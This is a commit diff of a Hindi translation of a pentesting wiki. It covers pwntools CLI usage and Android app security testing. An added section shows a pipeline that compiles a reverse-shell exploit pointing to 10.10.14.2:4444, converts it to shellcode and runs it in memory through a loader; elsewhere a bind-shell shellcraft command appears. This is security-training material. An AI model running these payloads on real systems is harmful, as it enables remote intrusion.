Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

This commit is contained in:
Translator 2025-09-30 02:11:54 +00:00
parent d43dcd801e
commit 67b1c21c46
5 changed files with 490 additions and 324 deletions

View File

@ -353,6 +353,7 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)

View File

@ -15,10 +15,10 @@ pwn asm -i <filepath>
- आउटपुट प्रकार (raw,hex,string,elf)
- आउटपुट फ़ाइल संदर्भ (16,32,64,linux,windows...)
- बाइट्स से बचें (नए पंक्तियाँ, null, एक सूची)
- gdb का उपयोग करके डिबग शेलकोड एन्कोडर का चयन करें और आउटपुट चलाएँ
- बाइट्स से बचें (new lines, null, a list)
- encoder चुनें, debug shellcode का उपयोग करके gdb में आउटपुट चलाएँ
## **Pwn चेकसेक**
## **Pwn checksec**
Checksec स्क्रिप्ट
```
@ -28,21 +28,21 @@ pwn checksec <executable>
## Pwn cyclic
एक पैटर्न प्राप्त करें
पैटर्न प्राप्त करें
```
pwn cyclic 3000
pwn cyclic -l faad
```
**चुन सकते हैं:**
- उपयोग किया गया वर्णमाला (डिफ़ॉल्ट रूप से छोटे अक्षर)
- अद्वितीय पैटर्न की लंबाई (डिफ़ॉल्ट 4)
- संदर्भ (16,32,64,linux,windows...)
- उपयोग की गई वर्णमाला (डिफ़ॉल्ट रूप से छोटे अक्षर)
- uniq पैटर्न की लंबाई (डिफ़ॉल्ट 4)
- context (16,32,64,linux,windows...)
- ऑफसेट लें (-l)
## Pwn debug
GDB को एक प्रक्रिया से संलग्न करें
GDB को किसी प्रोसेस से जोड़ें
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
@ -50,31 +50,31 @@ pwn debug --process bash
```
**चुन सकते हैं:**
- निष्पादन योग्य, नाम या पीआईडी संदर्भ द्वारा (16,32,64,linux,windows...)
- निष्पादित करने के लिए gdbscript
- executable के द्वारा, name के द्वारा या pid context के द्वारा (16,32,64,linux,windows...)
- gdbscript चलाने के लिए
- sysrootpath
## Pwn disablenx
बाइनरी का nx बंद करें
किसी binary का nx अक्षम करें
```
pwn disablenx <filepath>
```
## Pwn disasm
डिसास हेक्स ऑपकोड्स
hex opcodes को डिसअसेंबल करें
```
pwn disasm ffe4
```
**चुन सकते हैं:**
- संदर्भ (16,32,64,linux,windows...)
- आधार पता
- context (16,32,64,linux,windows...)
- बेस एड्रेस
- रंग (डिफ़ॉल्ट)/कोई रंग नहीं
## Pwn elfdiff
2 फ़ाइलों के बीच के अंतर प्रिंट करें
दो फाइलों के बीच अंतर प्रिंट करें
```
pwn elfdiff <file1> <file2>
```
@ -86,14 +86,14 @@ pwn hex hola #Get hex of "hola" ascii
```
## Pwn phd
हेक्सडंप प्राप्त करें
hexdump प्राप्त करें
```
pwn phd <file>
```
**चुन सकते हैं:**
- दिखाने के लिए बाइट्स की संख्या
- प्रति पंक्ति हाइलाइट बाइट्स की संख्या
- प्रति पंक्ति दिखने वाले बाइट्स की संख्या और हाइलाइट बाइट
- शुरुआत में बाइट्स छोड़ें
## Pwn pwnstrip
@ -102,7 +102,7 @@ pwn phd <file>
## Pwn shellcraft
शेलकोड प्राप्त करें
shellcodes प्राप्त करें
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@ -112,30 +112,30 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**चुन सकते हैं:**
- शेलकोड और शेलकोड के लिए तर्क
- shellcode और shellcode के लिए arguments
- आउट फ़ाइल
- आउटपुट प्रारूप
- डिबग (शेलकोड पर dbg संलग्न करें)
- पहले (कोड से पहले डिबग ट्रैप)
- बाद में
- ऑपकोड का उपयोग करने से बचें (डिफ़ॉल्ट: नल और नई पंक्ति नहीं)
- शेलकोड चलाएँ
- आउटपुट फ़ॉर्मेट
- debug (dbg को shellcode से attach करें)
- before (debug trap before code)
- बाद
- opcodes का उपयोग टालें (डिफ़ॉल्ट: null और new line नहीं)
- shellcode चलाएँ
- रंग/बिना रंग
- सिस्टम कॉल की सूची
- संभावित शेलकोड की सूची
- साझा पुस्तकालय के रूप में ELF उत्पन्न करें
- syscalls की सूची
- संभावित shellcodes की सूची
- ELF को shared library के रूप में बनाएँ
## Pwn टेम्पलेट
## Pwn template
एक पायथन टेम्पलेट प्राप्त करें
एक python टेम्पलेट प्राप्त करें
```
pwn template
```
**चुन सकते हैं:** होस्ट, पोर्ट, उपयोगकर्ता, पास, पथ और चुप
**चुन सकते हैं:** host, port, user, pass, path and quiet
## Pwn unhex
हेक्स से स्ट्रिंग में
hex को string में
```
pwn unhex 686f6c61
```
@ -145,4 +145,37 @@ pwntools को अपडेट करने के लिए
```
pwn update
```
## ELF → raw shellcode पैकेजिंग (loader_append)
Pwntools एक standalone ELF को एक single raw shellcode blob में बदल सकता है जो अपने segments को selfmap करता है और execution को मूल entrypoint पर ट्रांसफर कर देता है। यह memoryonly loaders के लिए आदर्श है (उदा., Android apps जो JNI को invoke करके downloaded bytes को execute करते हैं)।
Typical pipeline (amd64 example)
1) एक static, positionindependent payload ELF बनाएं (portability के लिए musl की सिफारिश की जाती है):
```bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
2) ELF → shellcode को pwntools के साथ रूपांतरित करें:
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
```
3) sc को एक memory loader (उदा., HTTP[S] के माध्यम से) तक पहुँचाकर इन‑प्रोसेस में execute करें।
नोट्स
- loader_append मूल ELF प्रोग्राम को shellcode में embed करता है और एक छोटा loader emit करता है जो segments को mmaps करता है और entry पर jump करता है।
- context.clear(arch=...) के माध्यम से architecture के बारे में स्पष्ट रहें। arm64 Android पर आम है।
- अपने payload के code को positionindependent रखें और process के ASLR/NX के बारे में अनुमान लगाने से बचें।
## संदर्भ
- [Pwntools](https://docs.pwntools.com/en/stable/)
- [CoRPhone ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# Android Applications Pentesting
# Android एप्लिकेशन Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Android Applications की मूल बातें
## Android एप्लिकेशन मूल बातें
यह पृष्ठ पढ़ना अत्यधिक अनुशंसित है ताकि आप **Android सुरक्षा से संबंधित सबसे महत्वपूर्ण हिस्सों और किसी Android एप्लिकेशन में सबसे खतरनाक कम्पोनेंट्स** के बारे में जान सकें:
यह पृष्ठ पढ़ना अत्यधिक अनुशंसित है ताकि आप **Android सुरक्षा से संबंधित सबसे महत्वपूर्ण भाग और किसी Android एप्लिकेशन के सबसे खतरनाक घटकों** के बारे में जान सकें:
{{#ref}}
@ -13,15 +13,15 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
यह उस मुख्य उपकरण में से है जिसकी आपको एक android डिवाइस (emulated या physical) से कनेक्ट करने के लिए आवश्यकता होती है.\
**ADB** आपको कंप्यूटर से **USB** या **Network** के माध्यम से डिवाइस नियंत्रित करने की अनुमति देता है। यह utility दोनों दिशाओं में फ़ाइलों के **copying**, apps की **installation** और **uninstallation**, shell commands का **execution**, डेटा का **backing up**, logs का **reading**, और अन्य कार्य करने में सक्षम बनाता है।
यह मुख्य टूल है जिसकी आपको किसी Android डिवाइस (emulated or physical) से कनेक्ट होने के लिए आवश्यकता होती है.\
**ADB** कंप्यूटर से **USB** या **Network** के माध्यम से डिवाइस को नियंत्रित करने की अनुमति देता है। यह यूटिलिटी दोनों दिशाओं में फाइलों की **कॉपीिंग**, ऐप्स की **installation** और **uninstallation**, shell commands के **execution**, डेटा का **backing up**, लॉग्स का **reading**, और अन्य कार्यों को सक्षम बनाती है।
adb का उपयोग कैसे करना है यह जानने के लिए निम्नलिखित [**ADB Commands**](adb-commands.md) की सूची देखें।
Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb.
## Smali
कभी-कभी यह उपयोगी होता है कि आप **application code को modify** करें ताकि आप **hidden information** तक पहुँच सकें (शायद अच्छी तरह obfuscated passwords या flags)। ऐसी स्थिति में apk को decompile करना, कोड modify करना और फिर उसे recompile करना दिलचस्प हो सकता है.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). यह dynamic analysis के दौरान प्रस्तुत किए जाने वाले कई tests के लिए एक वैकल्पिक तरीका हो सकता है। इसलिए, हमेशा इस संभावना को ध्यान में रखें
कभी-कभी यह उपयोगी होता है कि आप **application code को modify** करें ताकि **छिपी हुई जानकारी** (शायद अच्छी तरह obfuscated passwords या flags) तक पहुंचा जा सके। तब, apk को decompile करना, कोड modify करना और फिर इसे recompile करना दिलचस्प हो सकता है.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). यह dynamic analysis के दौरान किए जाने वाले कई परीक्षणों के लिए एक **वैकल्पिक तरीका** के रूप में बहुत उपयोगी हो सकता है। इसलिए, **इस संभावना को हमेशा ध्यान में रखें**
## Other interesting tricks
@ -29,8 +29,8 @@ adb का उपयोग कैसे करना है यह जानन
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- डिवाइस से APK निकालना:
- **APK डाउनलोड करें**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- डिवाइस से APK निकालें:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Case Studies & Vulnerabilities
## केस स्टडीज़ & Vulnerabilities
{{#ref}}
@ -63,37 +63,37 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## Static Analysis
सबसे पहले, APK का विश्लेषण करने के लिए आपको **Java code** को decompiler का उपयोग करके देखना चाहिए।\
कृपया, [**read here to find information about different available decompilers**](apk-decompilers.md).
सबसे पहले, किसी APK का विश्लेषण करने के लिए आपको एक decompiler का उपयोग करके **Java कोड** देखना चाहिए.\
कृपया, [**विभिन्न उपलब्ध decompilers के बारे में जानकारी के लिए यहाँ पढ़ें**](apk-decompilers.md).
### Looking for interesting Info
APK की **strings** को देखकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और किसी भी दिलचस्प चीज़ की तलाश कर सकते हैं... कोड execution के **backdoors** या authentication backdoors (hardcoded admin credentials to the app) की भी जांच करें।
सिर्फ APK की **strings** देखकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और अन्य दिलचस्प चीज़ें खोज सकते हैं... कोड निष्पादन के **backdoors** या authentication backdoors (ऐप में hardcoded admin credentials) की भी जांच करें।
**Firebase**
firebase URLs पर विशेष ध्यान दें और चेक करें कि क्या यह गलत कॉन्फ़िगर है। [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
विशेष ध्यान दें **firebase URLs** पर और देखें कि क्या यह गलत कॉन्फ़िगर हुआ है। [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basic understanding of the application - Manifest.xml, strings.xml
किसी एप्लिकेशन की _Manifest.xml_ और **_strings.xml_** फ़ाइलों की जांच संभावित सुरक्षा कमजोरियों का पता लगा सकती है। इन्हें decompilers से एक्सेस किया जा सकता है या APK की फ़ाइल एक्सटेंशन को .zip में rename करके unzip किया जा सकता है।
**किसी application's _Manifest.xml_ और **_strings.xml_** फ़ाइलों की जाँच संभावित सुरक्षा कमजोरियाँ उजागर कर सकती है**। इन फाइलों तक decompilers से पहुंचा जा सकता है या APK की file extension को .zip में बदलकर और उसे unzip करके भी प्राप्त किया जा सकता है।
**Manifest.xml** से पहचानी जाने वाली कमजोरियाँ शामिल हैं:
**Manifest.xml** से पहचानी गई **Vulnerabilities** में शामिल हैं:
- **Debuggable Applications**: Manifest.xml में एप्लिकेशन यदि `debuggable="true"` के रूप में सेट हैं तो वे जोखिम पैदा करते हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देते हैं जो exploit की ओर ले जा सकते हैं। debuggable applications को ढूँढने और exploit करने के बारे में समझने के लिए संबंधित ट्यूटोरियल देखें।
- **Backup Settings**: संवेदनशील जानकारी संभालने वाले एप्लिकेशनों के लिए `android:allowBackup="false"` attribute को स्पष्ट रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा backups रोके जा सकें, विशेषकर जब usb debugging enabled हो।
- **Network Security**: कस्टम network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) जो _res/xml/_ में होते हैं, certificate pins और HTTP ट्रैफिक सेटिंग्स जैसे सुरक्षा विवरण निर्दिष्ट कर सकते हैं। उदाहरण के तौर पर कुछ domains के लिए HTTP ट्रैफिक की अनुमति देना।
- **Exported Activities and Services**: Manifest में exported activities और services की पहचान करने से ऐसे components सामने आ सकते हैं जिन्हें गलत तरीके से उपयोग किया जा सकता है। dynamic testing के दौरान आगे की जांच से यह पता चल सकता है कि इन components का कैसे exploit किया जा सकता है।
- **Content Providers and FileProviders**: एक्सपोज़्ड content providers अनधिकृत पहुँच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की configuration को भी अच्छी तरह से जांचा जाना चाहिए।
- **Broadcast Receivers and URL Schemes**: ये components exploitation के लिए इस्तेमाल किए जा सकते हैं, विशेषकर यह देखना कि URL schemes input के लिए कैसे manage किए जा रहे हैं।
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` attributes यह दर्शाते हैं कि कौन से Android versions सपोर्ट किए जाते हैं, जो यह बताता है कि पुराने, vulnerable Android versions का समर्थन न करना महत्वपूर्ण है
- **Debuggable Applications**: Manifest.xml में `debuggable="true"` सेट किए गए applications जोखिम पैदा करते हैं क्योंकि वे ऐसे कनेक्शनों की अनुमति देते हैं जो exploit करने का रास्ता खोल सकते हैं। debuggable applications को ढूँढने और exploit करने पर विस्तृत समझ के लिए संबंधित ट्यूटोरियल देखें।
- **Backup Settings**: संवेदनशील जानकारी वाले applications के लिए `android:allowBackup="false"` attribute को स्पष्ट रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनाधिकृत डेटा backups से बचा जा सके, खासकर जब USB debugging सक्षम हो।
- **Network Security**: कस्टम नेटवर्क security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) जो _res/xml/_ में होते हैं, certificate pins और HTTP ट्रैफ़िक सेटिंग्स जैसी सुरक्षा विवरण निर्दिष्ट कर सकते हैं। उदाहरण के लिए, कुछ डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना।
- **Exported Activities and Services**: Manifest में exported activities और services की पहचान ऐसे components को उजागर कर सकती है जिन्हें दुरुपयोग किया जा सकता है। dynamic testing के दौरान आगे की जांच से पता चल सकता है कि इन components का exploit कैसे किया जा सकता है।
- **Content Providers and FileProviders**: exposed content providers अनाधिकृत पहुँच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की configuration की भी बारीकी से जाँच की जानी चाहिए।
- **Broadcast Receivers and URL Schemes**: ये components exploitation के लिए उपयोग किए जा सकते हैं, खासकर यह ध्यान रखते हुए कि URL schemes इनपुट के लिए कैसे manage किए जा रहे हैं।
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` attributes समर्थित Android versions दिखाते हैं, जो पुराने, vulnerable Android versions को समर्थन न देने के महत्व को रेखांकित करते हैं
**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API keys, custom schemas, और अन्य developer notes का पता चल सकता है, जो इन resources की सावधानीपूर्वक समीक्षा की आवश्यकता को रेखांकित करता है।
**strings.xml** फ़ाइल से API keys, custom schemas और अन्य developer नोट्स जैसी संवेदनशील जानकारी मिल सकती है, इसलिए इन resources की सावधानीपूर्वक समीक्षा आवश्यक है।
### Tapjacking
**Tapjacking** एक हमला है जहाँ एक **malicious** **application** लॉन्च होती है और **victim application के ऊपर खुद को पोज़िशन कर लेती है**। जब यह victim app को दृष्टि से छुपा देती है, तो इसका UI इस तरह डिजाइन किया जाता है कि यह उपयोगकर्ता को धोखा दे कर उस पर इंटरैक्ट करवा ले, जबकि यह इंटरैक्शन को victim app को पास कर रहा होता है।\
रिणामस्वरूप, यह **उपयोगकर्ता को अंधा कर देता है कि वे वास्तव में victim app पर ही काम कर रहे हैं**
Tapjacking एक हमला है जहाँ एक **malicious** **application** लॉन्च होता है और **victim application** के ऊपर अपने आप को रख देता है। जब यह विजिबली victim app को अस्पष्ट कर देता है, तो इसका user interface इस तरह डिज़ाइन किया जाता है कि उपयोगकर्ता को धोखा देकर इससे इंटरैक्ट कराया जा सके, जबकि यह इंटरैक्शन victim app को पास कर देता है।\
्रभावतः, यह उपयोगकर्ता को अंधा कर देता है कि वे वास्तव में victim app पर ही कार्रवाई कर रहे हैं
Find more information in:
@ -104,7 +104,7 @@ tapjacking.md
### Task Hijacking
एक **activity** जिसका **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` defined नहीं है, वह Task Hijacking के लिए vulnerable होती है। इसका मतलब है कि एक **malicious application** इंस्टॉल की जा सकती है और यदि इसे असली एप्लिकेशन से पहले लॉन्च किया जाए तो यह **असली एप्लिकेशन के task को hijack कर सकती है** (जिससे उपयोगकर्ता यह सोचकर कि वह असली ऐप उपयोग कर रहा है, **malicious application** के साथ interact करेगा)।
यदि किसी **activity** का **`launchMode`** `singleTask` पर सेट है और कोई भी `taskAffinity` परिभाषित नहीं है तो वह task Hijacking के लिए vulnerable होता है। इसका मतलब यह है कि एक **malicious application** install होकर और वास्तविक application से पहले launch होने पर **real application का task hijack कर सकता है** (तो उपयोगकर्ता **malicious application** के साथ इंटरैक्ट करते हुए सोचेंगे कि वे वास्तविक ऐप का उपयोग कर रहे हैं)।
More info in:
@ -117,69 +117,69 @@ android-task-hijacking.md
**Internal Storage**
Android में, internal storage में रखी फ़ाइलें उस ऐप के द्वारा बनाई गई फ़ाइलों तक ही पहुँच के लिए डिज़ाइन की गई होती हैं। यह सुरक्षा उपाय Android operating system द्वारा लागू किया जाता है और अधिकांश अनुप्रयोगों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त होता है। हालांकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे modes का उपयोग करते हैं ताकि फाइलें अलग-अलग एप्लिकेशनों के बीच साझा की जा सकें। ये modes इन फाइलों तक अन्य एप्लिकेशनों, संभवतः malicious एप्लिकेशनों की भी पहुँच को रोकते नहीं हैं।
Android में, internal storage में **store** की गई फाइलें सामान्यतः उन ही ऐप द्वारा पहुँचने योग्य होती हैं जिन्होंने उन्हें बनाया है। यह सुरक्षा उपाय Android operating system द्वारा लागू किया जाता है और अधिकांश applications की सुरक्षा आवश्यकताओं के लिए पर्याप्त होता है। फिर भी, developer कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे modes का उपयोग करते हैं ताकि फ़ाइलें विभिन्न applications के बीच **share** की जा सकें। ये modes अन्य applications, जिनमें संभवतः malicious ones भी शामिल हैं, द्वारा इन फाइलों की पहुँच को रोकते नहीं हैं।
1. **Static Analysis:**
- `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` के उपयोग की सावधानीपूर्वक जांच सुनिश्चित करें। ये modes फाइलों को अनजाने या अनधिकृत पहुँच के लिए उजागर कर सकते हैं।
- `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` के उपयोग की **सावधानीपूर्वक जाँच** सुनिश्चित करें। ये modes फ़ाइलों को **अनचाही या अनधिकृत पहुँच** के लिए उजागर कर सकते हैं।
2. **Dynamic Analysis:**
- ऐप द्वारा बनाए गए फ़ाइलों पर सेट की गई permissions की पुष्टि करें। विशेष रूप से चेक करें कि क्या कोई फ़ाइलें worldwide पढ़ने योग्य या लिखने योग्य सेट की गई हैं। यह एक गंभीर सुरक्षा जोखिम हो सकता है, क्योंकि इससे डिवाइस पर इंस्टॉल कोई भी एप्लिकेशन, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को पढ़ या संशोधित कर सकता है।
- ऐप द्वारा बनाई गई फाइलों पर सेट की गई **permissions** को verify करें। विशेष रूप से जाँचें कि क्या कोई फाइलें **world-readable या world-writable** के रूप में सेट हैं। यह एक महत्वपूर्ण सुरक्षा जोखिम हो सकता है, क्योंकि इससे **किसी भी application** (जिसे डिवाइस पर इंस्टॉल किया गया है), चाहे उसका स्रोत या इरादा कुछ भी हो, उन फाइलों को **read या modify** करने की अनुमति मिल सकती है।
**External Storage**
SD Cards जैसे external storage पर फ़ाइलों के साथ काम करते समय कुछ सावधानियाँ बरतनी चाहिए:
जब आप SD Cards जैसे external storage पर फ़ाइलों से निपटते हैं, तो कुछ सावधानियाँ बरतनी चाहिए:
1. **Accessibility**:
- external storage पर फ़ाइलें globally readable और writable होती हैं। इसका अर्थ है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है।
- External storage पर फ़ाइलें **globally readable और writable** होती हैं। इसका मतलब है कि कोई भी application या user इन फाइलों तक पहुँच सकता है।
2. **Security Concerns**:
- आसान पहुँच के कारण, संवेदनशील जानकारी external storage पर स्टोर न करने की सलाह दी जाती है
- External storage हटाई जा सकती है या किसी भी एप्लिकेशन द्वारा एक्सेस की जा सकती है, जिससे यह कम सुरक्षित होता है।
- आसान पहुँच के कारण, संवेदनशील जानकारी को external storage पर रखने से बचें
- External storage हटाई या किसी भी application द्वारा एक्सेस की जा सकती है, इसलिए यह कम सुरक्षित है।
3. **Handling Data from External Storage**:
- external storage से प्राप्त डेटा पर हमेशा input validation करें। यह आवश्यक है क्योंकि यह डेटा एक untrusted स्रोत से आता है।
- external storage पर executables या class files स्टोर करके dynamic loading के लिए रखना जोरदार रूप से हतोत्साहित किया जाता है।
- यदि आपका एप्लिकेशन external storage से executable फ़ाइलें प्राप्त करना अनिवार्य है, तो सुनिश्चित करें कि इन फाइलों पर sign और cryptographic verification की गई हो इससे पहले कि उन्हें dynamically load किया जाए। यह कदम आपकी एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
- External storage से प्राप्त डेटा पर हमेशा **input validation** करें। यह महत्वपूर्ण है क्योंकि डेटा एक untrusted स्रोत से आता है।
- Executables या class files को dynamic loading के लिए external storage पर रखना दृढ़ता से discouraged है।
- यदि आपकी application को external storage से executable files प्राप्त करने ही पड़ते हैं, तो सुनिश्चित करें कि ये फाइलें **signed और cryptographically verified** हों इससे पहले कि वे dynamically loaded हों। यह कदम आपकी application की सुरक्षा अखंडता बनाए रखने के लिए आवश्यक है।
External storage को `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` में एक्सेस किया जा सकता है
External storage को `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` में access किया जा सकता है
> [!TIP]
> Starting with Android 4.4 (**API 17**), SD card का directory structure ऐसा है जो **किसी app से उस directory तक पहुँच को सीमित करता है जो विशेष रूप से उस app के लिए है**। यह malicious application को दूसरे app की फ़ाइलों तक read या write access पाने से रोकता है।
> Android 4.4 (**API 17**) से शुरू होकर, SD card में एक directory structure है जो किसी ऐप की पहुँच को उस directory तक सीमित कर देता है जो विशेष रूप से उस ऐप के लिए है। यह किसी malicious application को किसी अन्य ऐप की फ़ाइलों पर read या write पहुँच प्राप्त करने से रोकता है।
**Sensitive data stored in clear-text**
- **Shared preferences**: Android प्रत्येक application को आसानी से xml फाइलें `/data/data/<packagename>/shared_prefs/` path में सेव करने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में clear-text में संवेदनशील जानकारी मिल सकती है।
- **Databases**: Android प्रत्येक application को आसानी से sqlite databases `/data/data/<packagename>/databases/` path में सेव करने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में clear-text में संवेदनशील जानकारी मिल सकती है।
- **Shared preferences**: Android प्रत्येक application को आसानी से xml फाइलें `/data/data/<packagename>/shared_prefs/` path में save करने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में clear-text में संवेदनशील जानकारी मिल सकती है।
- **Databases**: Android प्रत्येक application को आसानी से sqlite databases `/data/data/<packagename>/databases/` path में save करने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में clear-text में संवेदनशील जानकारी मिल सकती है।
### Broken TLS
**Accept All Certificates**
भी-कभी डेवलपर्स किसी कारणवश सभी certificates स्वीकार कर लेते हैं भले ही उदाहरण के लिए hostname मैच न करे, और इसके लिए कोड की लाइनों का उपयोग कर लेते हैं जैसे कि निम्न:
ई बार developers सभी certificates को स्वीकार कर लेते हैं, यहाँ तक कि जब hostname मेल भी नहीं खाता हो, उदाहरण के लिए नीचे दिए गए जैसे कोड की लाइनों के साथ:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
### Broken Cryptography
### टूटी क्रिप्टोग्राफी
**Poor Key Management Processes**
कुछ डेवलपर संवेदनशील डेटा को local storage में सेव करते हैं और उसे कोड में hardcoded/अनुमेय (predictable) key से encrypt करते हैं। ऐसा नहीं किया जाना चाहिए क्योंकि कुछ reversing तकनीकें attackers को confidential information निकालने की अनुमति दे सकती हैं।
कुछ developers स्थानीय storage में संवेदनशील डेटा सेव करते हैं और उसे code में hardcoded/predictable key से encrypt कर देते हैं। यह नहीं किया जाना चाहिए क्योंकि कुछ reversing से attackers confidential जानकारी निकाल सकते हैं।
**Use of Insecure and/or Deprecated Algorithms**
**Insecure और/या Deprecated Algorithms का उपयोग**
डेवलपरों को authorisation checks, store या send data के लिए **deprecated algorithms** का उपयोग नहीं करना चाहिए। इनमें से कुछ algorithms हैं: RC4, MD4, MD5, SHA1... अगर उदाहरण के लिए पासवर्ड स्टोर करने के लिए **hashes** का उपयोग किया गया है, तो salt के साथ **hashes brute-force resistant** का उपयोग करना चाहिए।
Developers को authorization **checks**, **store** या **send** करने के लिए **deprecated algorithms** का उपयोग नहीं करना चाहिए। इन में से कुछ algorithms हैं: RC4, MD4, MD5, SHA1... अगर उदाहरण के लिए passwords को store करने के लिए **hashes** का उपयोग किया जाता है, तो salt के साथ brute-force के प्रति **resistant** hashes का उपयोग किया जाना चाहिए।
### Other checks
### अन्य जांच
- यह सुझाव दिया जाता है कि attackers के लिए reverse engineer का काम कठिन करने के लिए **APK को obfuscate** किया जाए
- अगर app sensitive है (जैसे bank apps), तो उसे **mobile is rooted** होने की अपनी जाँच करनी चाहिए और उसी के अनुसार व्यवहार करना चाहिए।
- अगर app sensitive है (जैसे bank apps), तो उसे जांचना चाहिए कि क्या कोई **emulator** उपयोग हो रहा है।
- अगर app sensitive है (जैसे bank apps), तो उसे **check it's own integrity before executing** करना चाहिए ताकि यह सुनिश्चित हो सके कि इसे.modify नहीं किया गया है
- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
- यह recommend किया जाता है कि **APK को obfuscate** किया जाए ताकि attackers के लिए reverse engineer का काम मुश्किल हो
- यदि ऐप sensitive है (जैसे bank apps), तो उसे अपने **own checks to see if the mobile is rooted** करने चाहिए और उसके अनुसार act करना चाहिए।
- यदि ऐप sensitive है (जैसे bank apps), तो उसे चेक करना चाहिए कि कोई **emulator** उपयोग हो रहा है।
- यदि ऐप sensitive है (जैसे bank apps), तो उसे **execute करने से पहले अपनी integrity जांचनी चाहिए** ताकि पता चल सके कि उसे modify किया गया है या नहीं
- किस compiler/packer/obfuscator का उपयोग करके APK बनाया गया था यह जांचने के लिए [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें
### React Native Application
Read the following page to learn how to easily access javascript code of React applications:
